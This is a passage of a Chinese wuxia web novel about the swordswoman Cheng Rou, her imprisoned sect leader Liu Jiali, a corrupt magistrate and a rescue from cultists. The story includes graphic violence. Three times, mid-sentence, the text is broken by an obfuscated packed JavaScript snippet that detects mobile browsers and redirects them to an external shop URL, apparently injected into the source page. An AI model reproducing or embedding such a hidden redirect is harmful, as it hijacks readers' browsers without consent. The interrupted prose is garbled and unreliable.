刘平凝眉间一瞬显出愠色,但随即挤出笑意:“深夜来访,自知叨扰各位大哥。银钱是不足惜的,只是刚才为各位买了城西的琵琶佳酿,手头实在没有了。” 说着,将一个大酒坛塞给了这名看守,连带着垫在罐底的三锭银,福身一礼:“佳酿配英雄,请几位大哥分酒。” 守卫的头领哈哈大笑着放了行。程柔带着食盒进入探视,刘平凝在外等候。 踏入铁门的时候,程柔感觉自己已被腐烂和血腥的气味淹没。提灯前行,足下一步一滴血。呻吟和抽泣的声音不知从何处传来,应当是四面八方都有。顺着狱吏的指引,程柔悬着心前行。 那些声线渐渐响了,就在前方的火光处。铁链晃动之声和尖叫缠杂在一起。那是拷问的地方吗?程柔觉得有些害怕了。害怕下一瞬,会看见柳葭丽鲜血淋漓的样子,看见她痛,发现自己来得还是晚了。 她走上前。看见柳葭丽。 火光映照里,柳葭丽盘莲花座功,闭目养神,神色凝和。她还穿着分别时那件绿色衣衫,衣衫依旧洁净,在火光下泛着幽幽光华。 柳葭丽独坐一个牢房,这里的火光是最亮的。老鼠在她足边吱嘎啃着稻草,旁边牢房里的囚犯嚎叫不止——她们看上去已然精神失常了。她面前吊着一根染血生锈的铁鞭,下端浸在盐水桶里,旁边架起若干刑具,让她一抬眼就会看见。 旁边的一个囚犯许是累了,倚着墙眯着眼要睡过去。程柔身后的狱卒冷哼一声,从旁边桶中舀了一瓢水——那水桶上还沾着盐粒——往那囚犯身上泼过去。 那囚犯身上带着鞭伤,被盐水一浸,自是痛极,又醒过来。她看上去连叫嚷的力气都失去,蜷缩在地,颤抖着经受。 另一些半疯半傻的囚犯看见她的惨状,吓得一下子噤声。 狱卒又伸出盛满盐水的瓢,随意地泼水吓唬过去,那些囚犯无论是否被泼到,皆惨叫连连。 柳葭丽睁开眼睛,神情哀悯。 狱卒幸灾乐祸地冷笑道:“你觉得如何?我们的鞭刑,行刑官向来尽心尽力。梁大人说了,严打和土匪相互勾结的江湖匪民,任你是什么帮派、什么掌门,我们通通不管,一律依律法行事! 明日刑场治中监刑,又调了卫兵五十人看守现场,一定要万无一失!” “你为梁大人传话如此尽心尽力,他可有什么好东西赏你吗?怎么还留你在这里做其他守卫的役使?”程柔冷笑道。 “梁大人是映州的明主。谁不知道,得梁大人青眼者前途无量。纵使是在梁府里当一条狗,也比当在滚在泥地里的无主烂民好得多!”狱卒得意道。 程柔冷哼一声,没有再去理会狱卒。她推开那扇吱嘎作响的木门,走到柳葭丽面前,蹲下身扶上她肩。 柳葭丽前往莫离山前刚为别的事奔波两日,如今又在此被刻意熬了两天一夜,已然有些疲惫了,眼下泛着青。 程柔从食盒中拿出粥羹递给柳葭丽,道:“阿丽,辛苦你了。你边吃边听我说。我已盗得梁行光和莫离山中匪寇勾连的证据,明日刑场上,我会当场揭发梁行光,平凝她们会配合我一同将你劫走。届时,龙鸣客栈可获清白。 纵使治中懦弱,不能立刻处置,客栈与你,名誉已然无损,我们后面再追查案件,也是师出有名,不至于再束手束脚。” “你的动作还是一样快!”柳葭丽的神色显出赞许。她脸上并无脱险的欣喜——只有很深的镇定。程柔知道她只有在做出什么惊人的决定,告知她时,会露出这样的表情。 “阿柔,你知道那群邪教徒这次如此兴师动众是为了什么吗?” “我贿赂狱卒探听到一些消息,大概拼凑了全貌。如今各地匪寇作乱都只是掩饰。这些邪教徒暗地里正在走海路偷渡到达京都,预备挟持王室,入主中原。” “为了准备上元节,襄王许异族商贩前往京都通商。如今当务之急,是要在上元节到来之前阻止他们。否则按照他们的邪性,要展开血祭,那时满街游乐的百姓全是他们的人牲。” 映州地接大海,最东边的蓝水镇正是海关隘口,也是襄国与异族通商的东方枢纽。程柔想到,如果波斯教徒要暴起杀人,映州一带的海水,怕是要如三十年前一般,再一次染成血红。 “现在我们已经知道了梁行光和波斯教各方关联,对于波斯教的行踪,我们容易掌控。更何况,如果我们现在揭发梁行光,朝廷多半不管,而我们会引起这群波斯教徒的注意,官府会不会在波斯教的施压下,再灭门龙鸣客栈一次? 现在其他门派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669337|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联系不上,我们孤立无援,为了这件事殊死一搏是否真的值得?小不忍则乱大谋,我们如今隐忍,是为了集结力量,等待机会一击制敌。 从前多少次我想激进行事,是你劝了我。阿柔,这个道理你比我更懂。” 听得柳葭丽的话,程柔明白事情的严峻已超乎预料。她拉住柳葭丽的手,道:“你的意思是,现在还不能跟波斯教,跟梁行光撕破脸。所以,你反对我明日揭发他们,将你劫走?” “不错。”柳葭丽回视她,琥珀色的眸子惯常平和,仿佛她的这个决定,与平日里的布阵下令没有任何区别。 “那么,你换上我的衣服离开!要客栈背负这样的屈辱,如此决定,总得掌门亲自说明! 客栈中大家都很担忧,他们在等你。我和平凝来时给守卫的酒下了点药,他们验不出来,已经喝了,现在头晕眼花。 你我身量相似,他们不会发现。纵使明日验明正身,他们也不会声张。这事可以了结!” 柳葭丽握住程柔方才拉住她的那只手,道:“你告诉客栈中人是我的意思,向他们解释,他们会信服你。你理解我,我们所想是一样的,所以你能转达我想说的。” “明日刑场,我们谁去本来都是一样的。但是既然做戏,做全更好。更何况,你轻功卓绝,脚力最快,这些年你一直在搜集这伙贼人的消息,也和他们打过交道,对他们更了解。勘案救人,你更胜任,所以我希望你去追查。” 程柔连连摇头:“不。一开始就是因为我的愿望,所以龙鸣客栈才涉足此事,你才身陷其中!这本来是我的事,不该由你去牺牲!” “这是我们共同的事。龙鸣客栈为映州江湖势力之首,接手它成为新的掌门人是我所愿。当时我孤立无援。是你助我,辅佐我,我很庆幸,也很感激。 你事成身退,甘居幕后,而我才十九岁时便在江湖扬名。我理解你,我知道我们是为了共同的愿望,希望这一片土地能够安定。 关于名利如何,你觉得这样更好,你的付出我便安然受之。如今如此,我也并不觉得怎么样,因为我知道,如果我们对调一下,你也会这样做。” 程柔望向柳葭丽面前的一排刑具。泡在盐水桶里的铁鞭上布满指节长的倒刺。她发现自己不能想象下去。她觉得自己眼眶酸楚,快要流泪。 “阿柔。”柳葭丽顺着程柔的目光看去,而后微笑了。她的声线柔和,似是宽慰:“你的愿望同样是我的愿望,我的痛苦同样是你的痛苦。你会替我担忧,因此我还有心力庆幸,庆幸我能够承受这所有。” “阿柔,你送来的粥糖放的量刚好,我很喜欢。现在抓紧时间,快去吧。” 5. 雨泽青野·其一 程柔默默然顺着阴暗的甬道走出监牢,与刘平凝一同回到客栈。 虽是深夜,大堂中仍是灯火通明。龙鸣的门徒全都聚集,见到程柔便一齐到院中听令。 他们仍要顾及休息的客人。掌门柳葭丽的有罪宣告使得栈中客人离去了大半,但仍有些人相信柳葭丽一直以来扶危济困的声誉留宿在此。 刘平烟留在客栈看顾经营。对于要求离去的客人,客栈不加阻拦,只悉数退还钱款。对仍留下的客人,客栈每日送去茶点表示谢意。 忍一时之耻为后世太平。是非在己,毁誉由人,得失不论。说来说去,核心思想不过这几句。如柳葭丽所言,客栈众人对程柔的转达并无不服。 “有信鸽,是三公主来信!”刘平烟将书信递交给程柔。 三公主原是襄王嫡女,不同于襄王的软弱,三公主是坚定的拥战派,曾多次进言应剿灭波斯教。 因为立下战功,襄王曾意图封她为镇国公主,却遭到几个皇子的极力反对。 襄王年迈又不喜大权旁落,迟迟未确定太子人选。皇子之间争夺帝位党争不断,一致将矛头对准了政绩最盛的三公主。 波斯邪教的教义中视女子为不洁不祥,正迎合了几个皇子的利益。如今波斯教在襄王朝中如此盛行,也有几个皇子推波助澜的作用。 三公主遭遇陷害,已被废为庶人。 即使如此,三公主一直蛰伏民间,联络江湖各方游侠,集结人力,等待时机。 龙鸣客栈与三公主联系颇多,许多私下的消息,客栈都是通过公主第一时间得知的。如今三公主来信,想必是对波斯教上元节行动之事已有耳闻,正欲寻求龙鸣客栈的合作。 三公主的信上有海浪、蛇、蝶、草叶、三角山、船、瓶子七个图案。除蛇图所代表的龙鸣客栈外,其余图案上被打了叉。意思是,通信送不进去,被拦截了。后加一句:请蛇传递,上元异变。 不知其余门派出了什么变故,如此情况,免不了程柔跑一趟了。程柔决定先去联络最近的映州南部的游破激浪一派。 游迫激浪最近海关,港口波斯教徒异动,他们必然先知。激浪一派的人以海滩上各种生意为生,论武艺并不最高强,胜在水性极佳,行动灵活。 但地处的位置以及一直以来海上百事通的名号让他们处于风口浪尖,程柔有些担忧,或许激浪派已经和波斯教徒起了冲突,受到损伤。 程柔决定让“游猴”许一与自己兵分两路前往烁黎州蓝水镇寻找激浪派的人传递消息。 另外,皇商陈家已然涉身此事,在是否配合刺史和波斯教一事上摇摆。陈家少爷对此事很有想法,要想办法争取他的支持。否则如果前来的波斯人获得了陈府所运粮草的援助,那么离在此安家也就不远了······ 程柔送出一只信鸽,告知三公主陈家态度摇摆一事。许一带来消息,陈府为保护陈羽生免遭杀身之祸,已经秘密遣车马送陈羽生前往南淮州怀远县。 后院的战马食饱饭足,经过休憩整装待发。程柔牵出那匹鬃毛泛青的战马——青泱。这匹战马是柳葭丽接手龙鸣客栈之初,二人还拮据,程柔当掉自己那枚白玉的平安扣,柳葭丽当了自己的青玉剑坠,凑在一起买下的。 程柔抚了抚青泱的鬃毛,翻身而上。青泱载着程柔,一人一马披着夜色,奔向西边旷野吹来的潇潇风霜。 程柔那时也是这样披着夜色和晨露,穿过山麓、荒野,来到了清风镇。 那是程柔出离师门后的第三个夏天。江南的盛夏燥热鼎沸,是熔炉在烧。置身其间,所见所闻,是火烤的人间。 “我们这里不收肉身菩萨!” “求您老人家行行好!我们的田地都卖光啦!全家也死得只剩我一个啦!您就松松手,多给一吊钱,我卷个草席,也能把我爹埋啦!不然,我就和我爹候在这不走了!” 城镇中心的典当行门前排起长队。队伍最前,一个面黄肌瘦的汉子抱着一具僵尸在门口又闹又求。 其他人见他怀抱一具尸体,竟没有闪避的意思,他赖在前面,还要将他推走。 “去吧去吧!”另一个衣衫褴褛的老汉挤上去,“要是死人能让他高抬贵手,我宁可自己坐化!掌柜的,你看看这份田契吧······” “我不走!我不走!爹,儿子无能,儿子不孝啊!”那个怀抱僵尸的汉子跌坐在地痛哭起来。 “哎!”衣衫褴褛的老汉叹息一声,不再推他。 身后一人展开手上冬衣给那汉子遮阳:“回去吧!回去吧!这么热的天,别把你爹晒坏了!” ······ 那汉子的哭号凄惨,震动人心,穿彻街道,落在典当行对面又对面的小巷里茶点摊前程柔的耳中。 程柔正喝着自己那份茶,擦着额上汗水。 她从昨夜至清晨一直在赶路,终于在正午之前到达此地。此刻她听见远处的恸哭,静默着。 身旁歇脚的行人喝着茶围聚在一起闲聊。 “诶诶诶,你们听说了吗?龙鸣客栈死人啦!” “真的假的?那他们掌门肯定不会放过,谁不长眼杀他们的人,可要倒霉了。” “唉!别说了!这次龙鸣的掌门也死了!” “你是说,谢枕云?!那个黄海口以内力震千斤玄铁钟,大退倭寇战船阵的谢枕云?他死了?!” “可不是!和他那个‘镇关金霸刀’的副使一同被杀了!” “镇关金霸刀。多少年前的事了······他本是与老襄王争夺皇位的“那位”的贴身侍从。老襄王想让他战死,才派他去西域刺杀突厥狼,结果他竟然全身而退。事成后他自请退隐,隐居在我们清风镇。这样一个英雄人物,想不到啊······” “这些大人物虽然声名显赫,但对我们这些平头百姓一点架子都没,是难得的好人啊!”一个老者插嘴叹息道,“去年山匪横行,来农庄里杀人,勒索钱财。 官府都不管,我走投无路的时候,恰在集市上遇到谢老,便磕头求他老人家。他老人家不仅带人剿灭了那帮山匪,还把我家被抢去的钱财悉数归还······” “小朋友,你做甚么?!”程柔听那行人的聊天正入神,随手抓住了正飞奔蹭过她身边的小孩衣领。 “你!”那小孩对着程柔的手就往下咬。程柔闪避开,揪着他腰带拎在半空。小孩便奋力扭动,拳打脚踢。 程柔将手臂伸直,拎着那小孩抖了抖,他腰间胸口便掉出许多钱币和小袋。 那小孩盯着程柔,眼神凶狠。 “啊,我的钱袋!”茶客们在地上洒落的小袋里发现自己的,急忙拿回揣进自己怀中,而后伸手要打。 “小贼种!竟敢来偷老子的钱!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669338|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“又是这个贱种!” “各位手下留情。”小孩在程柔手上挣扎,被她拎着退后。茶客的拳头和巴掌没能真打在他身上。 “人既然是我捉到,就请留给我来管吧。这么小的孩子,或许是有什么难处。拳脚相加,不能引这孩子走向正途。” “你能管得了他?!你是不认识。他是这里惯偷,手脚一直不干净!” “俗话说小时候偷针,长大了偷金。你若真能改了他,算你能!” 茶客纷纷攘攘的,小孩只一味冷冷地笑。程柔有点惊讶,为的是很少在这么小的孩子脸上看到如此表情。 她低头问道:“你从哪里来的?” !她竟然问这小孩从哪里来! 茶客们纷纷闭嘴。他们虽然来自三教九流,但对着一个形貌庄严又如此较真的年轻女子,还真不太好意思说出那个地方。 “我是怡红楼的,如何?”那小孩道,“她们成天里嫌我碍事,不给我吃的东西,还打我。我便跑出来。我不靠她们也能吃上饭!” 看着茶客们一脸讳莫如深的表情,程柔对“怡红楼”的性质有了大体的猜测。 她道:“哦。”而后吩咐小摊:“给这孩子煮碗面,钱算我的。” 刚出锅的面条冒着白气,滚烫滚烫。那小孩竟不顾,张开嘴就要吃,真不怕嘴烫出泡来。 程柔推走了那碗面。她拿来一个小碗,拨出些面来晾凉,递到那小孩面前。小孩狼吞虎咽地吃起来。 “谢谢你。但你要是不想看着我偷,就得直接给我钱。不然我没饭吃,是一定会去偷的。” “这算敲诈吗?”程柔摇头道,“你娘在怡红楼吗?” “是怡红楼的,可她早死了。我都不记得她长什么样子!”小孩闷头吃面。 “那你便是从小养在那里的······你能活下来,长到今天这样,很了不起。但是偷别人东西不仅不道德,还会给你引来麻烦。如果你还是一直偷,等你再长大能寻活计的时候,也不会有人愿意找你的。” “谁知道我能不能活到以后?”小孩吃完面,用袖口擦了擦嘴。 “你能。你从那么小的时候挺过来。越长大,你会变得越强壮,能做的事情也就越多。” “譬如现在,你就有事情可做。你跑个腿,带我去那个怡红楼,我付给你报酬。” 程柔没有猜错,怡红楼果然是个妓院。 就凭门前一个汉子死死抓住一个年轻女子的头发往里拖,而女子抵死不从,扑倒扒着土地,指甲扣进石头豁开,流下鲜血斑斑的惨烈场景,程柔就已经可以断定,并且无法袖手旁观了。 “我不去!我不去······赵飞,你杀了我,你不如杀了我!”许娟的声音已经嘶哑了。她额上磕破,蜿蜒鲜血爬上鼻梁,脸颊。 赵飞抡了两个耳光招呼到她脸上。她叫不出声了,手指仍然扒着地上不肯松。 “你这贱婆娘!等我把你送进去,由不得你不老实!”赵飞抬起脚要往许娟手指上踩。 程柔的袖中花已出,却见三片闪着绿光的利器先到一步,飞钉进了赵飞支撑的那条腿。赵飞失了平衡,一下子跌倒在地,抱着腿嗷嗷痛呼。 注目一看,他腿上那三片青绿并非利器,只是叶梗而已! 一个身着青色劲装的女子轻功越过人群,负手而落,立在许娟身前。 6. 雨泽青野·其二 “······”许娟见到青衣女子赶来,喜极而泣。 “赵飞。龙鸣客栈的人,你也敢抢到妓院。是酒壮怂人胆,不怕死了?” 柳葭丽的清叱亮若银铃。银铃一震,闲杂人等了然秩序,后退三步,屏了声。 赵飞见柳葭丽面含愠色,连周围人都被震慑得后退了,一时间吓得声音颤抖,分辩道: “她她·····她不是已经你们龙鸣客栈的人了!她是我老婆!你们老大把她还给我了!” 柳葭丽身后赶来两位容貌相似的蓝裙女子。她们扶起地上的许娟,以绢帕为她拭去脸上的鲜血和眼泪,抚上她的背轻声安慰。 “你你你······你怎么敢不听你们老大的命令?许娟既然是我的老婆,自然任我处置。人我已经送到怡红楼了,卖身契也签了,他们的打手可不是吃素的!” 老大?程柔心中思忖。龙鸣客栈方才遭遇屠门死了掌门,没听说新立了什么老大?更何况,助纣为虐,逼良为娼,怎么听也不是龙鸣客栈该有的风格。 “是什么人寻我怡红楼的麻烦?”那小楼开了门,里面扭捏走出个半老徐娘。想必就是老鸨了。 老鸨道:“签了我们的契,自然就是我们楼中人。白纸黑字,写得分明的么!就算拿去官府告,我们也是有理的呀。柳小姐,你怎好坏人诚信呢?” “你们签的什么契,可曾问过她么?”柳葭丽怒极反笑,“人是我龙鸣客栈的,你们带不走。若要钱,叫他还你吧!还不上砍手砍脚还是给你干苦工,我不管,你请便。” 老鸨不愿意跟柳葭丽理论,用眼神示意身后几个持着棍棒的精壮打手。他们虽明白老鸨的意思,却没有一个人敢上前抢人。 “这件事,他跟你们老大通过气的么!你在这里闹得这么大,拂了你们老大的面子,总归不好呀!你难不成真想我们闹到官府去?”老鸨斜着眼看柳葭丽,摆出一副半是埋怨半是商量的语气。 “对对对。你们老大把她给我,说不过问!再说你已经把我的腿弄断了,总要给我个说法!青天白日里无故伤人,你也得赔我!”赵飞用手捂着那条伤腿,嚎叫道。 “你们说黄奔楼?我不认他。”柳葭丽道,“至于你。自己欠了赌债拿旁人去还,天下没有这样便宜的事。你们要告,就去告。” 柳葭丽扫了一眼赵飞,而后挥起剑鞘,朝他那条伤腿上用力一击。赵飞惨叫一声,似要晕过去。 “这样才是断了,下次要懂得分辨。”柳葭丽道,“不要再来找麻烦,如果你还不上赌债还有命活的话。” 围观者看见赵飞歪倒在地,捂着断腿痛得眼泪都流不出的样子,吓得倒吸冷气。 “真狠······” “女罗刹啊。谢老手底下竟有这样的人······真想不到。” “不狠怎么办?良为娼本才是不对。她若不给个教训,怎么护得住手下人。” “算不得手下人。她不也得听新掌门的?新掌门肯定就是那个黄奔楼了。” 人群中忽然闪开一条通道,一个身着浅金色交领长衫的年轻男子轻摇手中折扇,闲庭信步地被几个护卫拥趸着走上前来。 “柳葭丽,你在这里生什么事?这种地方也是你一个清白姑娘家来的?”黄奔楼道。 “奔楼兄好一副怜香惜玉的软心肠,怎么却允许龙鸣的人被卖到这种地方呢?”柳葭丽冷笑道。 “呃······许娟本就是他妻子。我看他求得凄苦,便想全他们夫妻缘分,怎知竟发生这种事。” “许娟进龙鸣那日,还是你值的班。她来时是怎么脸上淤青手脚布着鞭痕,又是如何在龙鸣夜以继日做工攒钱还了赵飞彩礼和他两断,怎得奔楼兄竟全忘记了?” “这······” “那么我问你,掌门还在时,会允许我们龙鸣的人被卖去妓院吗?”柳葭丽用了怒音。 “柳葭丽,掌门已去,你要节哀。群龙不可无首,我们很快要选出新掌门的。”黄奔楼道。 “是,七日后龙鸣演武,自有定夺。若功夫不到家,再怎么打如意算盘也是徒劳。” 黄奔楼受了讽刺,脸色变得很难看。 远处有锣鼓敲击。众人回头去看,见到一辆由小吏护卫,六人共抬的红绸轿子,便纷纷让道。 在护卫的簇拥下,一个身着暗紫锦葛蒲纹杭绸的白面男人下了轿。他的面容是与举止和气质并不相符的年轻。 开路护卫重重敲一下手中锣鼓,道:“县令在此!” “他便是那个梁行光了。”程柔心道 按照襄朝礼仪,平民在县衙以外的地方见到县令仅需回避,面对面者,可以行简单常礼以示尊敬。 龙鸣毕竟是有头有脸的帮会。柳葭丽敛起怒容向梁行光一礼。黄奔楼则是收扇躬身,拜了几拜。 “我巡视经过,看此地吵闹,便来看看。奔楼啊,你要全人家夫妻情谊是好事,确实,把一个成了家的女人整日里留在你们那里,使她和丈夫不得相见,有违人情。若是谁家夫妻一吵架,妻子便跑出去,这家不就乱了吗?” “十年修得同船渡,百年修得共枕眠。这夫妻情分不是讨债还债,哪有没有还了彩礼便两清一说?自古家主掌财,贤妻在外挣了钱,也要交给丈夫啊。” “但是将妻子卖去青楼,这也是伤天害理的事。除非是因这妻子的原因欠的债,无法偿还。为了换赌债便卖了妻子,这是下作龟公才做的事。” 这县令管起闲事,意思便是各打五十打板,不解决任何实质问题。程柔听着便觉荒谬,心里觉得梁行光现身的目的没有这么简单。 “龙鸣演武,我也听说了。好大阵仗呀!不愧是我们清风县的大帮会。”梁行光话风一转,脸上笑眯眯,似是称赞。 “但若只以演武结果来定掌门,恐怕有失偏颇吧!就例如柳姑娘你武艺高强,是我们素日所知。但即使你赢下演武,也不可能行掌门之职。 毕竟你一介清白女子,跟江湖上三教九流的人打起交道,也不方便吧!” “不方便?县令大人以为龙鸣客栈是什么地方?平日里做的是护卫、护镖的事,游走民间闹市、山野险滩、走私游船,打交道是穷凶极恶的罪犯。若妄想风光体面,端出公子做派便能对贼人迎来送往,不是太可笑了吗? 奔楼兄如此本事,若执迷托大拿乔,我倒担心哪日被人砍伤,逃跑不方便。哪一日身首异处,我们找起尸身来更加不方便呢!” 柳葭丽此言惊骇,在场众人皆是倒吸一口冷气。黄奔楼怒道:“柳葭丽,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669339|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵然对我心存不满,也不至于如此诅咒我!难道你心中竟没有一点同门的情谊,盼着我死吗?” “正是因为心中存着同门情谊,我才好心劝你!”柳葭丽道。 “柳姑娘,你所言差矣!做掌门的,并不一定要冲锋阵前,亲自涉险,而是要如定海神针一般,稳定一整个帮会,为百姓所信赖。重要的是品行,是护佑一方百姓的真心。这一点上,奔楼足以胜任。” 梁行光摇头晃脑,端出一副品评道理的模样。自然,处在他这个位置,总是有此资格的。 “一个掌门要担负好他的职责,重要的不仅在于他自身如何,更在于要有得力干将的辅佐。 柳姑娘,我们素知你武艺出众,又忠于龙鸣。从前护卫你们的谢老出生入死,皆是全身而退。此次也是如此,是你审时度势的成功。” 梁行光语气嘲弄,咬重了“全身而退”四个字。此话既是威胁,又是讽刺。威胁柳葭丽若想保存自身,便顺从他们推举程奔楼为掌门;讽刺柳葭丽此次是早已预见危险,没有跟在谢枕云身旁,才保全了性命。 柳葭丽在一个瞬间咬了牙。 “相信若有你的辅佐,奔楼能做一个好掌门。其实掌门与否无关地位高低,更重要的是职责不同。勇武者冲锋陷阵,谋略者安定全局。各司其职,龙鸣的荣光,方得延续啊。” “奔楼,你要做掌门,更要有容人之量。柳姑娘性情爽利,武艺高强,是不可多得的人才。你要用好她,不可让英雄无用武之地!” “是!多谢县令大人教诲!奔楼年轻少谋,还需县令大人多多提点!”黄奔楼收扇行礼,对着梁行光俯下身去。 梁行光微微颔首,对眼前一切非常满意。正当时,人群后涌来一群身着灰布破衣的百姓,拦住他的去路。 “县令大人!我们是东茶村的庄稼人,走投无路前来求告!”为首下跪的老者尨眉皓发,声音洪亮,颇有乡儒气质。 “伏旱酷热,半个月不下雨,地里的庄稼都将枯死!敢问县令大人为何不下令开放陂塘,引水入田?朝廷的赋税抬到了四成,我们去年已经欠下,若到了秋天粮食欠收,赋税再抬利息,我们这群平头百姓便没有活路了!” “是啊!我们没有活路了!求县令开陂塘解灾!” “求县令开陂塘解灾!”跪在地上的百姓大声呼着,一齐磕起头来。 “各位乡亲们,我知道你们的难处。陂塘早已开放,然酷旱难解,陂塘也已被烤得干涸。我会奏疏朝廷,降低赋税,但愿朝廷能够恩准!” 有些农民焦急,冲上前抓住了梁行光的衣摆,手上泥土蹭污了他那泛着光泽的锦葛杭绸。 手下护卫要甩棍去打,被梁行光阻拦。 为首的乡儒老者也被梁行光扶起,拜道:“传言此次伏旱乃是天罚,是三公主在西域起战,惊动亡灵之故。既如此,可否请县令大人设祭坛参拜亡灵,以解天怒?” “究竟是天降灾,还是人起祸?映州在上个月方才降了暴雨,陂塘中蓄的水,能够十数日便没吗?敢问县令大人是哪一日开的陂塘?各家农田可有察觉?”柳葭丽望向神情慷慨的梁行光,质问道。 跪在地上的百姓们停止了叩拜,噤声望向梁行光。梁行光转过头看见柳葭丽,发出一声冷笑。 7. 雨泽青野·其三 “那么依柳女侠之见,是梁某人有意欺瞒各位父老乡亲了?”梁行光咬重了字音,眯笑的眼睛里杀意已现。 柳葭丽唇角勾起,发出轻不可闻的一声嗤笑。 “在下不敢作此想。看守陂塘的任务归于林隐派,近日里山匪横行,或许他们遇险,才致使开启陂塘一事被耽搁。” 她的神情淡然,带着一点嘲弄。跪伏在地的人群却爆沸开来。 “林隐派也遭屠了?连他们镇守的,八方秘宝之一的凤鸣琴的都护不住他们?这,这群土匪究竟是何方神圣……” 梁行光挥扇遮面。程柔猜想,他一定是忍不住笑得太得意了,才要挡一挡。 收起扇子,梁行光缓缓开口道:“既如此,请柳姑娘去山中一探究竟如何?若林隐派当真遇险,作为同道中人,救助他们,也算是你份内之事吧。” “正有此意。” 柳葭丽应得干脆,声落人已转身,衣袂掠风。 早在抵达清风镇之前程柔便接到消息,东海“百蛟洞”正渗透到此地预备安营扎寨。林隐派遇险正是他们的手笔。 他们本是一伙寻常海匪,投靠波斯教后习得邪术,实力大增。此次他们盯上林隐派,正是因波斯教主觊觎凤鸣琴。 今日黑月,祭司安养,是突袭百蛟洞的最好时机。如今已过正午,她要先行一步了。 耳边鸟虫鸣声越来越弱,傍晚的树林间太过于安静以至于诡异。程柔提剑前行,听见前面树林沙沙作响。 是脚步踩在山石上的声音,有人正朝向她奔来! 来人现形,程柔预备着出招。 “救······救·····不!不要杀我!”一个身着麦色麻衣的少年跌扑在程柔身前。看见她手中持剑,又吓得一个激灵,手脚并用地从地面爬起。 “慢慢说。有人追杀你?”程柔将手中烧天归鞘。 “山里有邪教徒!我和师兄弟们来山中查看陂塘,被邪教徒抓住了,绑在水潭里放血!黑鱼密密麻麻的,围在一起,吃他们·······” 少年声带哭腔,面无血色。 是百蛟洞的作风。放血饲鱼是百蛟洞特有的杀人方式。 割开人各处大静脉,在伤口处涂药饵泡在水里,吸引水中鱼类竞相吸食。一开始只是在伤口旁舔血,吃得越多,鱼群便越亢奋嗜血。 渐渐地,它们会开始争食人身上血肉,一口一口将人啃食成骨架。程柔曾见过那场面,与凌迟没什么区别。 “快带我去!”程柔道。 “你····没用的,那里有很多鲛人看守,你去也只是送死。”少年喃喃道。 “有用,带路吧。再晚些,你的师兄弟更加危险。” 少年抬起手,举到半空又放下。 “不。”他的神色惨痛非常,“师兄掩护我走,是为了要我将邪教渗入的事公之于众!多谢你的好心。只是我的师兄弟们尚且败了,你一介弱女子,面对那群邪教徒更是有心无力! 我不能白白送死,更没必要让你去送死······” 程柔抽出烧天剑,手腕轻轻一拂。少年还未来得及反应,剑锋便架上了他咽喉。 “快带我去,不然现在杀了你。” 好快!她是什么时候出的招?少年心中震撼,看向程柔。她的笑容里有一丝狡黠。 “好。”少年一咬牙,下定了某种决心,“既如此,我便别无他法了。”而后他飞身钻进树林,程柔紧随其后。 一片树叶屏障之前便是围着水潭巡游的鲛人。水潭中,黑鱼密密麻麻地翻腾。 六人被绳绑缚牵在水中央一块大石上,随着水浪激荡起伏,艰难地仰起口鼻吸气。 鱼群涌来,盖住他们口鼻,他们便喘不过气,拼命挣动,激起一片水花。 越挣动血流得越快,鱼群也更凶猛。 水下景象已是触目惊心。黑鱼的鱼鳍上已经挂上了血肉。绳子上的人身上衣料已被血染得看不清原本颜色。 看见师兄弟们如此苦难,少年一下子面无血色。他用颤抖的声线问程柔: “你说·····该怎么救?” 话音未落时,程柔已经飞身跃出,烧天在空中出鞘。 略过水潭旁巡视的邪教徒,程柔落到了水中巨石上。 邪教徒还未来得及反应。程柔已然剑花轻挽,斩断了水中绑缚众人的绳索,而后两手共拖将六人救到近岸。 程柔的速度太快,水中黑鱼来不及追赶。邪教徒反应过来,聚集在岸上包围,共持分水刺向程柔进攻。她将人护在身后,再次挥剑。 邪教徒手中分水刺被她通通卸去。躲在树叶屏障后的少年目睹全程已十分惊讶,下一瞬,他更是看呆了。 程柔使的不知什么身法。没有任何蓄力便旋身跃起,往那些邪教徒胸前蹬去,看起来轻巧如点水。 那些邪教徒却近乎是一齐重重的飞出去,落地以后再也爬不起来。程柔身前地上,唯留下邪教徒被踢飞时口中喷出的鲜血。 传讯哨声响起,四方鲛人汇集。 程柔几下用剑斩断被救者身上绳索。他们被鱼咬伤又失血过多,虽然现下能行走,但若不及时安顿休息,不能止血,后果不堪设想。 “快来!”程柔向着少年叫道。 “包扎止血。”程柔从袖中丢去一卷纱布,而后持剑迎敌。 集结的鲛人仍是以分水刺做武器。来回几次,程柔对他们的身法便已熟悉。 于是来者只看见她翩移翻飞。身前同僚一被近身,便一个接一个软软地倒地,还来不及出招时,便轮到自己。 呜—— 